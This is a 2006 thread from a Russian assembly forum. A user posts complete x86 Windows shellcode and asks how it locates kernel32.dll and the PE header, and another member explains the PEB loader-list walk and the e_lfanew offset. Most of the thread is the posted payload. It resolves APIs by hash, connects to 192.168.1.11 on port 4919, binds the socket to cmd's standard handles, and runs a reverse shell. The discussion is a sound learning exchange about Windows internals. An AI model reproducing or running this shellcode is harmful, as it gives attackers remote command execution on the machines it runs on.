Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Помогите разобраться 
:(
    Опции темы
LavanDOS
Дата 21.12.2006, 11:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.8.2006

Репутация: нет
Всего: нет



Есть такой код:
Код

.386
.model flat, stdcall

assume fs:nothing

LoadLibraryA    equ 0D6C3D898h
WSAStartupA     equ 0C7B3B4CBh
WSASocketA      equ 0B8ACB6C6h
connect                 equ 06EE2D2C8h
system                  equ 0E873E6D8h
ExitProcessA    equ 0D7D8EA95h
; ------------------------------
sin_addr                equ 0B01A8C0h ; 192.168.1.11
sin_port                equ 3713h       ; 4919
; ------------------------------
str_cmd                 equ 0FF646D63h

; ----------------------------------------------------
_nooil_ segment public ; writable section
;.
; ----- CODE -----
scode:
       jmp short _eip
       GetEip:
       pop             edi
       jmp short EntryPoint
_eip:
       call    GetEip
Kernel32BaseAddr:
       pushad
       test    eax, eax
       jnz             MyGetProcAddr
       ; eax = 0
       mov     eax, dword ptr fs:[eax+30h]
       mov     eax, dword ptr ds:[eax+0ch]
       mov     esi, dword ptr ds:[eax+1ch]
       lodsd
       mov     eax, dword ptr ds:[eax+08h]
MyGetProcAddr:
       mov             edx, eax

; - PE
       add             edx, dword ptr ds:[edx+3ch]

; - Export Table
       mov             edx, dword ptr ds:[edx+78h]
       add             edx, eax

       mov     ebx, dword ptr ds:[edx+20h]
       add             ebx, eax

       xor             ecx, ecx
       mov             ebp, eax

FindAddr:
       inc             ecx
       mov     edi, dword ptr ds:[ebx+ecx*4]
       add             edi, eax

       mov             esi, dword ptr [edi]
       add             esi, dword ptr [edi+4]
       cmp             esi, [esp+36]
       jz              AddrFound
       jmp             short FindAddr

AddrFound:

       mov     ebx, dword ptr ds:[edx+24h]
       add     ebx, ebp
       mov     cx,word ptr ds:[ebx+ecx*2]

       mov     ebx, dword ptr ds:[edx+1Ch]
       add     ebx, ebp
       add     ebp, dword ptr ds:[ebx+ecx*4]

       mov             dword ptr [esp+28], ebp
       popad
       retn

EntryPoint:
       xor             eax, eax
       xor             ecx, ecx
       push    LoadLibraryA
       call    edi                                                     ; MyGetProcAddr(LoadLibraryA);
       mov             ebp, eax

       push    cx
       push    word ptr '23'
       push    '_2sw'
       push    esp
       call    eax             ; LoadLibraryA("ws2_32");

       mov             ebx, eax

       push    WSAStartupA
       call    edi             ; MyGetProcAddr(WSAStartupA)


       mov             esi, esp
       add             si, -301h
       push    esi
       push    2
       call    eax             ; WSAStartup(2,&WSAstruct);

       mov             eax, ebx

       push    WSASocketA
       call    edi             ; MyGetProcAddr(WSASocketA);

       xor             esi, esi
       push    esi
       push    esi
       push    esi
       push    esi
       inc             esi
       push    esi
       inc             esi
       push    esi
       call    eax             ; WSASocket(2,1,0,0,0,0);

       xchg    ebx, eax ; ebx = sockfd , eax = ws2_32

       push    sin_addr
       push    word ptr sin_port
       push    si
       mov             esi, esp

       push    connect
       call    edi             ; MyGetProcAddr(connect)

       push    10h
       push    esi
       push    ebx
       call    eax             ; connect(sockfd, &struct, sizeof(struct));

       push    ax
       push    word ptr 'tr'
       push    'cvsm'
       push    esp
       call    ebp             ; LoadLibraryA("msvcrt");

       push    system
       call    edi             ; MyGetProcAddr(system);

       ; ----------------------------- nooil tricks ----------------------------------
       xor             ecx, ecx
       mov             ecx,dword ptr fs:[ecx+18h]
       mov             ecx,dword ptr ds:[ecx+30h]
       mov             ecx,dword ptr ds:[ecx+10h]
       mov             dword ptr ds:[ecx+18h],ebx ; SetStdHandle(STD_INPUT_HANDLE,hClient);
       mov     dword ptr ds:[ecx+1Ch],ebx ; SetStdHandle(STD_OUTPUT_HANDLE,hClient);
       mov     dword ptr ds:[ecx+20h],ebx ; SetStdHandle(STD_ERROR_HANDLE,hClient);
       ; -----------------------------------------------------------------------------


       push    str_cmd
       inc             byte ptr [esp+3]
       push    esp
       call    eax     ; system("cmd");

       ; Exit
       push    ExitProcessA
       call    edi             ; MyGetProcAddr(ExitProcessA)
       call    eax             ; ExitProcessA();
end scode
; ------ END CODE ------
;.
_nooil_ ends
; ----------------------------------------------------



Объясни как программа получает адрес kernel32.dll в этом коде
Код

Kernel32BaseAddr:
       pushad
       test    eax, eax
       jnz             MyGetProcAddr
       ; eax = 0
       mov     eax, dword ptr fs:[eax+30h]
       mov     eax, dword ptr ds:[eax+0ch]
       mov     esi, dword ptr ds:[eax+1ch]
       lodsd
       mov     eax, dword ptr ds:[eax+08h]

 
И не могу понять этот код(знаю что это переход и на pe заголовок, а как именно он переходит понять не могу:
Код

add             edx, dword ptr ds:[edx+3ch]

PM MAIL   Вверх
W4FhLF
Дата 21.12.2006, 12:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


found myself
****


Профиль
Группа: Участник Клуба
Сообщений: 2831
Регистрация: 2.12.2006

Репутация: 1
Всего: 121



Код

Kernel32BaseAddr:
       pushad
       test    eax, eax
       jnz             MyGetProcAddr
       ; eax = 0
       mov     eax, dword ptr fs:[eax+30h] ; Получаем указатель на структуру PEB из структуры TEB(она находится по адресу FS:[0])
       mov     eax, dword ptr ds:[eax+0ch] ; В структуре PEB по смещению 0C лежит указатель на структуру Ldr(PEB_LDR_DATA)
       mov     esi, dword ptr ds:[eax+1ch] ; В Ldr есть 3 указателя на двусвязные списки, последний из них описывает модули в порядке их 
                                                                ; инициализации, вторым в этом списке будет как раз kernel32(первым ntdll). 
                                                                ; Здесь загружаем указатель на первый элемент этого списка.
       lodsd                                                ; Загружаем указатель на второй список, описывающий kernel32
       mov     eax, dword ptr ds:[eax+08h] ; по смещению 8 в этом списке находится как раз ImageBase kernel32.dll, 0С для информации точка входа.



Код

add             edx, dword ptr ds:[edx+3ch]


А что тут понимать? По смещению 3Ch находится поле IMAGE_DOS_HEADER.e_lfanew которое содержит в себе значение смещения PE заголовка, если его суммировать с базой получим указатель на PE заголовок(IMAGE_NT_HEADERS)

Это сообщение отредактировал(а) W4FhLF - 21.12.2006, 12:20


--------------------
"Бог умер" © Ницше
"Ницше умер" © Бог
PM ICQ   Вверх
LavanDOS
Дата 21.12.2006, 14:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.8.2006

Репутация: нет
Всего: нет



Спасибо W4FhLF.
Разобрался.
PM MAIL   Вверх
setty
Дата 22.12.2006, 02:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 66
Регистрация: 8.6.2006
Где: Украина

Репутация: нет
Всего: нет



а почему сам код вырезан то, было бы итнтерестно взглянуть...
PM MAIL   Вверх
LavanDOS
Дата 22.12.2006, 11:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.8.2006

Репутация: нет
Всего: нет



Код не вырезан. Посмотри в первом сообщении.
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm для начинающих"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm для начинающих | Следующая тема »


 




[ Время генерации скрипта: 0.0493 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.